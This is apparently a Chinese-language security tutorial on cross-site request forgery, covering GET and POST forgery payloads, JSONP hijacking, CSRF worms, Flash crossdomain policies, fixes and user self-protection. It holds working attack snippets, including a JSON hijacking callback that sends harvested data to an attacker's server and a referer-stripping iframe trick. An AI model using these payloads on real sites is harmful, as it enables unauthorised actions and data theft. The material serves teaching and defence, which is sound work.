整理自wuyun知识库和McAfee的CSRF攻防白皮书
0x00 CSRF 跨站请求伪造
由于目标站点无token/referer限制,导致攻击者可以以用户的身份执行操作。
关于CSRF的要点
调用web服务
用form的一个属性“encytpe” 可以传一个XML文件给webservice,例如:
<form action=”http://target./webservice” method=”POST” enctype=”text/plain”>
<input name=”<msg><attr><name>a</name><value>b</value></attr></msg>” value=””>
<input type=”submit”>
</form>
0x02 GET 类型CSRF
<img src=http:///csrf.php?xx=1 />
访问页面后就成功向http:///csrf.php 发送了一次请求
<link href="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
0x03POST类型的CSRF
使用一个自动提交的表单
<form action=http:///csrf.php method=POST>
<input type="text" name='xx' value='11' />
</form>
<script>document.forms[0].submit();</script>
模拟用户完成了一次POST操作
也可以用JS动态生成
<script>
new Image().src = 'http://192.168.0.100/joomla';
</script>
0x04JSON劫持攻击
web开发中常用的一种跨域获取的方法 JSONP
JSON with Padding 由于Javascript受同源策略的限制不能跨域读取
只能进行GET请求
前端html代码:
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function jsonpCallback(result) {
alert(result.a);
alert(result.b);
alert(result.c);
for(var i in result) {
alert(i+":"+result[i]);//循环输出a:1,b:2,etc. }
}
</script>
<script type="text/javascript" src="http:///services.php?callback=jsonpCallback"></script>
后端的php代码:
<?php
//服务端返回JSON数据
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//echo $_GET['callback'].'("Hello,World!")';
//echo $_GET['callback']."($result)";
//动态执行回调函数
$callback=$_GET['callback'];
echo $callback."($result)";
?>
可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。
一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!
攻击者可以在页面中构造自己的回调函数,然后把获取的数据都发到自己的服务器上
<script type="text/javascript">
function hijack(result) {
var data = '';
for(var i in result) {
data += i + ':' + result[i];
}
new Image().src = "http://www./JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
}
</script>
<script type="text/javascript" src="http:///services.php?callback=hijack"></script>
0x05 CSRF蠕虫
在CSRF的攻击页面上嵌入蠕虫传播的攻击向量,蠕虫传播要面向不同的用户生成不同的请求。之前的攻击可预测所有的参数,现在必须想办法标识不同用户的数据。
1,服务端脚本获取
准备一个php,asp页面,可以检测Referer字段读取url中的用户id等。
2,JSON劫持
如果网站提供了这样的数据接口,可以用来获取敏感信息
0x06 flash CSRF
网站的根目录下有一个文件crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="*.baidu.com" secure='true'/>
<allow-http-request-headers-from domain="*.baidu.com" headers='*'/>
secure='true' 表示只能通过安全连接请求
表示哪些域的flash请求可以读写本域的资源,同样可以读取token数据发送请求。
0x07 测试中要注意的问题
由于浏览器的特性跨协议请求时不带refer(Geckos内核除外)
利用 xxx.src='javascript:"HTML代码"'; 可以去掉refer
<iframe id='aa' src="" ></frame>
<script>
document.getElementById("aa").src='javascript:'<html><body>wuyun.org<scr'+'ipt>eval(使用的代码)</scr'+'ipt></body></html>
:
</script>
dedecms CSRF漏洞分析
http://paper./41/
0x08修复
所有的防御方法只有一个中心思想,建立一个秘密的参数,攻击者由于同源策略不能访问,又不能让龚记者绕过这个参数对网站操作。
function doit() {
var expires = new Date((new Date()).getTime()+1000);
document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
}
1)在返回的脚本(JSON数据)开始部分加入“while(1)”
当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理
2) 使用POST表单提交的方式获取JSON数据:
当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。
0x09 保护自己
假设很多网站都在被CSRF攻击,作为普通用户如何保护自己。
1、及时注销退出账号
每次登陆网站操作过后及时退出是一个好习惯。注意那些只有基本认证的网站,通常浏览器将登陆凭证保存起来以备下次登陆。
如果选择的记住密码等等类似功能,CSRF就总会成功。
2、用不同的浏览器
大多数CSRF的目标都有一个有效的session便于攻击。比如一个浏览器用于敏感操作,另一个浏览器用于日常使用。或者用不同的虚拟机,小的OS搭载一个浏览器。
3、通过代理
IT管理员配置内网的时候可以让用户使用不同的浏览器做不同用途,给其中一个配好代理。假设访问外网一定要通过代理,而内网访问则不需要。例如将Chrome设置代理用来接外网,而IE用来内网访问。最大限度的保护内网。
|